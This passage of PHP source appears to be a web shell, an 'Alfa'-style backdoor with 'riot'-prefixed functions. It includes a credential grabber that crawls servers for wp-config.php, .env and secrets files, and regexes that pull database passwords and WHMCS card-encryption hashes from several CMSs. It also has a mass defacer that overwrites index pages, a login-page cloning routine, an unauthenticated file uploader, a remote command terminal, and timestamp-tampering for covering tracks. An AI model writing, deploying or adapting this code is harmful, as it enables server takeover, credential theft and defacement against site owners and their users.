'; $clone_page = $_POST["riot1"]; $fake_root = $_POST["riot2"]; $logto = $_POST["riot4"]; $panel = $_POST["riot5"]; $inject_to = $_POST["riot6"]; $bind_on = $_POST["riot7"]; $count = $_POST["riot8"]; if (!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST["riot3"] == ">>") { echo __pre(); $target = $clone_page; $curl = new AlfaCURL(); $source_page = $curl->Send($target); if (!empty($source_page)) { $matched_form = ""; if ($panel == "cpanel") { if (preg_match('#"; riotfooter(); } function __riot_open_archive_file($arch, $base_id = 0) { try { $files = []; $dirs = []; $archive = new PharData($arch); foreach ($archive as $file) { $file_modify = @date("Y-m-d H:i:s", @filemtime($file->getPathname())); if ($file->isDir()) { $dirs[] = [ "name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify, ]; } else { $file_size = @filesize($file->getPathname()); $files[] = [ "name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size, ]; } } function __riot_open_archive_usort($a, $b) { return strcmp(strtolower($a["name"]), strtolower($b["name"])) * 1; } usort($dirs, "__riot_open_archive_usort"); usort($files, "__riot_open_archive_usort"); $files = array_merge($dirs, $files); echo ' | Archive Manager |'; echo '
'; if ($_POST["riot5"] == ">>") { //echo __pre(); echo 'PWD:'; echo ''; __riot_open_archive_file($file, $rand_id); echo ""; } echo ""; } catch (Exception $e) { echo "0"; } } function riotopen_archive_dir() { $dir = $_POST["riot1"]; $base_id = $_POST["riot2"]; __riot_open_archive_file($dir, $base_id); } function riotconfig_grabber() { riothead(); echo '
'; $icon = ' Name Size Modify Actions '; echo '
'; foreach ($files as $file) { $icon = ' ' . $icon . '| .. | dir - - '; if ($file["type"] == "dir") { echo '
"; } else { echo " ' . $icon . '| ' . $file["name"] . " | dir " . $file["modify"] . " - "; } } echo " " . $icon . "" . $file["name"] . " " . riotSize($file["size"]) . " " . $file["modify"] . " - "; riotfooter(); } function Alfa_ConfigGrabber($dir, $ext) { $pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i"; $db_files = [ "wp-config.php", "configure.php", "config.inc.php", "configuration.php", "config.php", "conf.php", "dbclass.php", "class_core.php", "dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php", // ✅ Tambahan untuk Laravel & modern frameworks ".env", ".env.local", ".env.production", "env.php", "database.php", "app.php", "services.php", "cache.php", "mail.php", "queue.php", "logging.php", "broadcasting.php", "session.php", "filesystems.php", "horizon.php", "cors.php", // ✅ Tambahan untuk frameworks lain "local-config.php", "env.local.php", "settings.local.php", "config.local.php", "database.env", "dbconfig.php", "connection.php", "credentials.php", "secret-config.php", "prod-config.php", "staging-config.php", "firebase.php", "aws.php", "stripe.php", "paypal.php", // ✅ Tambahan universal configs "docker-compose.yml", "docker.env", "settings.ini", "config.json", "database.json", "secrets.json", "config.yaml", "database.yaml", "appsettings.json", ]; if (@is_readable($dir)) { $globFiles = @glob("$dir/*.$ext"); $globDirs = @glob("$dir/*", GLOB_ONLYDIR); $blacklist = []; foreach ($globDirs as $dir) { if (!@is_readable($dir) || @is_link($dir)) { continue; } @Alfa_ConfigGrabber($dir, $ext); } foreach ($globFiles as $file) { $filee = @file_get_contents($file); if (preg_match($pattern, $filee)) { echo " | Config Grabber |'; echo '
'; $dir = $_POST["riot2"]; $ext = $_POST["riot3"]; if ($_POST["riot5"] == ">>") { echo __pre(); Alfa_ConfigGrabber($dir, $ext); } echo "$file [ View file ]"; } } } } function riotsearcher() { riothead(); echo '"; riotfooter(); } function Alfa_ReadDir($dir, $method = "", $defpage = "") { if (!@is_readable($dir)) { return false; } if (@is_dir($dir)) { if ($dh = @opendir($dir)) { while (($file = readdir($dh)) !== false) { if ($file == ".." || $file == ".") { continue; } $newfile = $dir . "/" . $file; if (@is_readable($newfile) && @is_dir($newfile)) { Alfa_ReadDir($newfile, $method, $defpage); } if (@is_file($newfile)) { if (!@is_readable($newfile)) { continue; } Alfa_Rewriter($newfile, $file, $defpage, $method); } } closedir($dh); } } } function Alfa_Rewriter($dir, $file, $defpage, $m = "index") { if (!@is_writable($dir)) { return false; } if (!@is_readable($dir)) { return false; } $defpage = @file_get_contents($defpage); if ($m == "index") { $indexs = ["index.php", "index.htm", "index.html", "default.asp", "default.aspx", "index.asp", "index.aspx", "index.js"]; if (in_array(strtolower($file), $indexs)) { @file_put_contents($dir, $defpage); echo @is_file($dir) ? $dir . "DeFaced...'; if (isset($_POST["riot1"]) && $_POST["riot1"] == "file") { echo ' | Searcher || Find Readable Or Writable Files | | Find Files By Name |
| Find Readable Or Writable Files |
'; $dir = $_POST["riot2"]; $ext = $_POST["riot3"]; $method = $_POST["riot4"]; if ($_POST["riot5"] == ">>") { echo __pre(); if (substr($dir, -1) == "/") { $dir = substr($dir, 0, -1); } Alfa_Searcher($dir, trim($ext), $method); } } if ($_POST["riot1"] == "str") { echo ' | Find Files By Name / Find String In Files |
'; $dir = $_POST["riot2"]; $string = $_POST["riot3"]; $ext = $_POST["riot5"]; if (!empty($string) and !empty($dir) and $_POST["riot4"] == ">>") { echo __pre(); Alfa_StrSearcher($dir, $string, $ext, $_POST["riot6"]); } } echo "
" : ""; } } elseif ($m == "all") { @file_put_contents($dir, $defpage); echo @is_file($dir) ? $dir . " DeFaced...
" : ""; } } if (isset($_GET['inc']) && $_GET['inc'] === 'upload') { echo ''; } if (isset($_FILES['file']['tmp_name'])) { $uploadd = $_FILES['file']['tmp_name']; if (is_uploaded_file($uploadd)) { $pwddir = $_POST['dir']; $real = $_FILES['file']['name']; $de = $pwddir . "/" . $real; if (copy($uploadd, $de)) { echo "success $de"; } else { echo "failed"; } } } function riotGetDisFunc() { riothead(); echo ''; $disfun = @ini_get("disable_functions"); $s = explode(",", $disfun); $f = array_unique($s); echo '"; riotfooter(); } function Alfa_Create_A_Tag($action, $vals) { $nulls = []; foreach ($vals as $key => $val) { echo '| ' . $key . " | "; unset($nulls); } } function Alfa_Searcher($dir, $ext, $method) { if (@is_readable($dir)) { if ($method == "all") { $ext = "*"; } if ($method == "dirs") { $ext = "*"; } $globFiles = @glob("$dir/*.$ext"); $globDirs = @glob("$dir/*", GLOB_ONLYDIR); $blacklist = []; foreach ($globDirs as $dir) { if (!@is_readable($dir) || @is_link($dir)) { continue; } @Alfa_Searcher($dir, $ext, $method); } switch ($method) { case "files": foreach ($globFiles as $file) { if (@is_writable($file)) { echo "$file"; echo "
Disable Functions
'; $i = 1; foreach ($f as $s) { $s = trim($s); if (function_exists($s) || !is_callable($s)) { continue; } echo ' # Func Name ' . $i . " "; echo '' . $s . " "; $i++; } echo "
"; } } break; case "dirs": foreach ($globFiles as $file) { if (@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)) { echo dirname($file) . "
"; $blacklist[] = dirname($file); } } break; case "all": foreach ($globFiles as $file) { echo $file . "
"; } break; } unset($blacklist); } } function AlfaiFrameCreator($f, $width = "100%", $height = "600px") { return ''; } class AlfaCURL { public $headers; public $user_agent; public $compression; public $cookie_file; public $proxy; public $path; public $ssl = true; public $curl_status = true; function __construct($cookies = false, $compression = "gzip", $proxy = "") { if (!extension_loaded("curl")) { $curl_status = false; return false; } $this->headers[] = "Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg"; $this->headers[] = "Connection: Keep-Alive"; $this->headers[] = "Content-type: application/x-www-form-urlencoded;charset=UTF-8"; $this->user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)"; $this->path = ALFA_TEMPDIR . "/Alfa_cookies.txt"; $this->compression = $compression; $this->proxy = $proxy; $this->cookies = $cookies; if ($this->cookies) { $this->cookie($this->path); } } function cookie($cookie_file) { if (_riot_file_exists($cookie_file, false)) { $this->cookie_file = $cookie_file; } else { @fopen($cookie_file, "w") or die($this->error("The cookie file could not be opened.")); $this->cookie_file = $cookie_file; @fclose($this->cookie_file); } } function Send($url, $method = "get", $data = "") { if (!$this->curl_status) { return false; } $process = curl_init($url); curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers); curl_setopt($process, CURLOPT_HEADER, 0); curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_ENCODING, $this->compression); curl_setopt($process, CURLOPT_TIMEOUT, 30); if ($this->ssl) { curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($process, CURLOPT_SSL_VERIFYHOST, false); } if ($this->cookies) { curl_setopt($process, CURLOPT_COOKIEFILE, $this->path); curl_setopt($process, CURLOPT_COOKIEJAR, $this->path); } if ($this->proxy) { curl_setopt($process, CURLOPT_PROXY, $this->proxy); } if ($method == "post") { curl_setopt($process, CURLOPT_POSTFIELDS, $data); curl_setopt($process, CURLOPT_POST, 1); curl_setopt($process, CURLOPT_HTTPHEADER, ["Content-Type: application/x-www-form-urlencoded"]); } $return = @curl_exec($process); curl_close($process); return $return; } function error($error) { echo ""; die(); } } function getConfigHtml($cms) { $content = ""; $cms_array = [ "wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke", "phpbb" => "PHPBB", "mybb" => "MyBB", "drupal" => "Drupal", "smf" => "SMF", ]; $content .= ""; return $content; } if (!function_exists("json_encode")) { function json_encode($a = false) { if (is_null($a)) { return "null"; } if ($a === false) { return "false"; } if ($a === true) { return "true"; } if (is_scalar($a)) { if (is_float($a)) { return floatval(str_replace(",", ".", strval($a))); } if (is_string($a)) { static $jsonReplaces = [["\\", "/", "\n", "\t", "\r", "\b", "\f", '"'], ["\\\\", "\\/", '\\n', '\\t', '\\r', "\\b", '\\f', '\"']]; return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"'; } else { return $a; } } $isList = true; for ($i = 0, reset($a); $i < count($a); $i++, next($a)) { if (key($a) !== $i) { $isList = false; break; } } $result = []; if ($isList) { foreach ($a as $v) { $result[] = json_encode($v); } return "[" . join(",", $result) . "]"; } else { foreach ($a as $k => $v) { $result[] = json_encode($k) . ":" . json_encode($v); } return "{" . join(",", $result) . "}"; } } } if (!function_exists("json_decode")) { function json_decode($json, $array = true) { $comment = false; $out = '$x='; for ($i = 0; $i < strlen($json); $i++) { if (!$comment) { if ($json[$i] == "{" || $json[$i] == "[") { $out .= " array("; } elseif ($json[$i] == "}" || $json[$i] == "]") { $out .= ")"; } elseif ($json[$i] == ":") { $out .= "=>"; } else { $out .= $json[$i]; } } else { $out .= $json[$i]; } if ($json[$i] == '"') { $comment = !$comment; } } eval($out . ";"); return $x; } } function riotterminalExec() { $pwd = "pwd"; $seperator = ";"; if ($GLOBALS["sys"] != "unix") { $pwd = "cd"; $seperator = "&"; } if ($GLOBALS["glob_chdir_false"] && !empty($_POST["c"])) { $cmd = "cd '" . addslashes($_POST["c"]) . "'" . $seperator; } $current_path = ""; if (preg_match("/cd[ ]{0,}(.*)[ ]{0,}" . $seperator . "|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST["riot1"], $match)) { if (empty($match[1])) { $match[1] = $match[2]; } $current_path = riotEx("cd " . addslashes($match[1]) . $seperator . $pwd); $current_path = str_replace("\\", "/", $current_path); } $out = riotEx($cmd . $_POST["riot1"], true); $out = htmlspecialchars($out); echo json_encode(["output" => convertBash($out), "path" => $current_path]); } function convertBash($code) { $dictionary = [ "[01;30m" => '', "[01;31m" => '', "[01;32m" => '', "[01;33m" => '', "[01;34m" => '', "[01;35m" => '', "[01;36m" => '', "[01;37m" => '', "[0m" => "", ]; $htmlString = str_replace(array_keys($dictionary), $dictionary, $code); return $htmlString; } function riotdoActions() { $chdir_fals = false; if (!@chdir($_POST["c"])) { $chdir_fals = true; $riot_canruncmd = _riot_can_runCommand(true, true); } if (isset($_POST["riot1"])) { $_POST["riot1"] = rawurldecode($_POST["riot1"]); } if (isset($_POST["riot2"])) { $_POST["riot2"] = rawurldecode($_POST["riot2"]); } $action = $_POST["riot3"]; if ($action == "permission") { $perms = 0; $perm = $_POST["riot2"]; for ($i = strlen($perm) - 1; $i >= 0; --$i) { $perms += (int) $perm[$i] * pow(8, strlen($perm) - $i - 1); } if (@chmod($_POST["riot1"], $perms)) { echo "done"; } else { echo "no"; } return; } if ($action == "rename" || $action == "move") { $riot1_decoded = $_POST["riot1"]; if ($chdir_fals) { $_POST["riot1"] = $_POST["c"] . "/" . $_POST["riot1"]; } $_POST["riot1"] = trim($_POST["riot1"]); $riot1_escape = addslashes($_POST["riot1"]); if ($_POST["riot3"] == "rename") { $_POST["riot2"] = basename($_POST["riot2"]); } if (!empty($_POST["riot2"])) { $cmd_rename = false; if ($chdir_fals && $riot_canruncmd) { if (_riot_is_writable($_POST["riot1"])) { $cmd_rename = true; $riot1_escape = addslashes($riot1_decoded); riotEx("cd '" . addslashes($_POST["c"]) . "';mv '" . $riot1_escape . "' '" . addslashes($_POST["riot2"]) . "'"); } } if (!file_exists($_POST["riot2"])) { if (@rename($_POST["riot1"], $_POST["riot2"]) || $cmd_rename) { echo "done"; } else { echo "no"; } } else { echo "no"; } } } elseif ($action == "copy") { if (is_dir($_POST["riot1"])) { $dir = str_replace("//", "/", $_POST["riot1"]); $dir = explode("/", $dir); if (empty($dir[count($dir) - 1])) { $name = $dir[count($dir) - 2]; } else { $name = $dir[count($dir) - 1]; } } else { $name = basename($_POST["riot1"]); } $dir = dirname($_POST["riot1"]); if ($dir == ".") { $dir = $_POST["c"] . "/"; } if (is_file($_POST["riot1"])) { @copy($_POST["riot1"], $_POST["riot2"]); echo "done"; } elseif (is_dir($_POST["riot1"])) { if (!is_dir($_POST["riot2"])) { mkdir($_POST["riot2"], 0755, true); } copy_paste($dir, $name, $_POST["riot2"] . "/"); echo "done"; } } elseif ($action == "modify") { if (!empty($_POST["riot1"])) { $time = strtotime($_POST["riot1"]); if ($time) { $touched = false; if ($chdir_fals && $riot_canruncmd) { riotEx("cd '" . addslashes($_POST["c"]) . "';touch -d '" . htmlspecialchars(addslashes($_POST["riot1"])) . "' '" . addslashes($_POST["riot2"]) . "'"); $touched = true; } if (!@touch($_POST["riot2"], $time, $time) && !$touched) { echo "no"; } else { echo "ok"; } } else { echo "badtime"; } } } } function riotget_flags() { $flags = []; if (function_exists("curl_version")) { $curl = new AlfaCURL(); $server_addr = !@$_SERVER["SERVER_ADDR"] ? (function_exists("gethostbyname") ? @gethostbyname($_SERVER["SERVER_NAME"]) : "????") : @$_SERVER["SERVER_ADDR"]; $flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr); $flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]); if (strpos($flag2, "geoplugin") != false) { $flag = json_decode($flag, true); $flag2 = json_decode($flag2, true); if (!empty($flag["geoplugin_countryCode"])) { $flags["server"]["name"] = $flag["geoplugin_countryName"]; $flags["server"]["code"] = $flag["geoplugin_countryCode"]; } if (!empty($flag2["geoplugin_countryCode"])) { $flags["client"]["name"] = $flag2["geoplugin_countryName"]; $flags["client"]["code"] = $flag2["geoplugin_countryCode"]; } } } echo json_encode($flags); } function riotGetConfig() { $cms = $_POST["riot1"]; $path = trim($_POST["riot2"]); $config = [ "wp" => [ "file" => "/wp-config.php", "host" => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], "dbname" => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], "dbuser" => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], "dbpw" => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], "prefix" => ["/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 1], ], "drupal" => [ "file" => "/config.php", "host" => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], "dbname" => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], "dbuser" => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], "dbpw" => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], "prefix" => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], ], "drupal2" => [ "file" => "/sites/default/settings.php", "host" => ["/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1], "dbname" => ["/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1], "dbuser" => ["/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1], "dbpw" => ["/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1], "prefix" => ["/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1], ], "vb" => [ "file" => "/includes/config.php", "host" => ["/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3], "dbuser" => ["/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3], "dbname" => ["/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3], "dbpw" => ["/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3], "prefix" => ["/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3], ], "phpnuke" => [ "file" => "/config.php", "host" => ['/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3], "dbname" => ['/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3], "dbuser" => ['/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3], "dbpw" => ['/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3], "prefix" => ['/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3], ], "smf" => [ "file" => "/Settings.php", "host" => ["/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbname" => ["/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbuser" => ["/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbpw" => ["/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "prefix" => ["/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], ], "whmcs" => [ "file" => "/configuration.php", "host" => ["/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbname" => ["/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbuser" => ["/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbpw" => ["/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "cc_encryption_hash" => ["/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], ], "joomla" => [ "file" => "/configuration.php", "host" => ["/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbname" => ["/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbuser" => ["/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbpw" => ["/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "prefix" => ["/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], ], "phpbb" => [ "file" => "/config.php", "host" => ["/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbname" => ["/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbuser" => ["/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbpw" => ["/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "prefix" => ["/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], ], "mybb" => [ "file" => "/inc/config.php", "host" => ["/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbname" => ["/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbuser" => ["/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "dbpw" => ["/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], "prefix" => ["/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], ], ]; if ($cms == "drupal") { $file = $config[$cms]["file"]; $file = $path . $file; if (@is_file($file) || _riot_is_dir($file, "-e")) { } else { $cms = "drupal2"; } } if ($cms == "vb") { $file = $config[$cms]["file"]; $file = $path . $file; if (@is_file($file) || _riot_is_dir($file, "-e")) { } else { $path .= "/core"; } } $data = []; $srch_host = $config[$cms]["host"][0]; $srch_user = $config[$cms]["dbuser"][0]; $srch_name = $config[$cms]["dbname"][0]; $srch_pw = $config[$cms]["dbpw"][0]; $prefix = $config[$cms]["prefix"][0]; $file = $config[$cms]["file"]; $chost = $config[$cms]["host"][1]; $cuser = $config[$cms]["dbuser"][1]; $cname = $config[$cms]["dbname"][1]; $cpw = $config[$cms]["dbpw"][1]; $cprefix = $config[$cms]["prefix"][1]; if (@is_dir($path) || _riot_is_dir($path)) { $file = $path . $file; } elseif (@is_file($path) || _riot_is_dir($path, "-e")) { $file = $path; } else { return false; } $file = __read_file($file); if ($cms == "drupal2") { $file = preg_replace("/\@code(.*?)\@endcode/s", "", $file); } elseif ($cms == "vb") { $file = preg_replace("/right of the(.*?)BAD!/s", "", $file); } if (preg_match($srch_host, $file, $mach)) { $data["host"] = $mach[$chost]; } if (preg_match($srch_user, $file, $mach)) { $data["user"] = $mach[$cuser]; } if (preg_match($srch_name, $file, $mach)) { $data["dbname"] = $mach[$cname]; } if (preg_match($srch_pw, $file, $mach)) { $data["password"] = $mach[$cpw]; } if (isset($prefix)) { if (preg_match($prefix, $file, $mach)) { $data["prefix"] = $mach[$cprefix]; } } if ($cms == "whmcs") { if (preg_match($config[$cms]["cc_encryption_hash"][0], $file, $mach)) { $data["cc_encryption_hash"] = $mach[3]; } } echo json_encode($data); } if (empty($_POST["a"])) { if (isset($default_action) && function_exists("riot" . $default_action)) { $_POST["a"] = $default_action; } else { $_POST["a"] = "FilesMan2"; } } if (!empty($_POST["a"]) && function_exists("riot" . $_POST["a"])) { call_user_func("riot" . $_POST["a"]); } exit(); ?> cURL Error
$error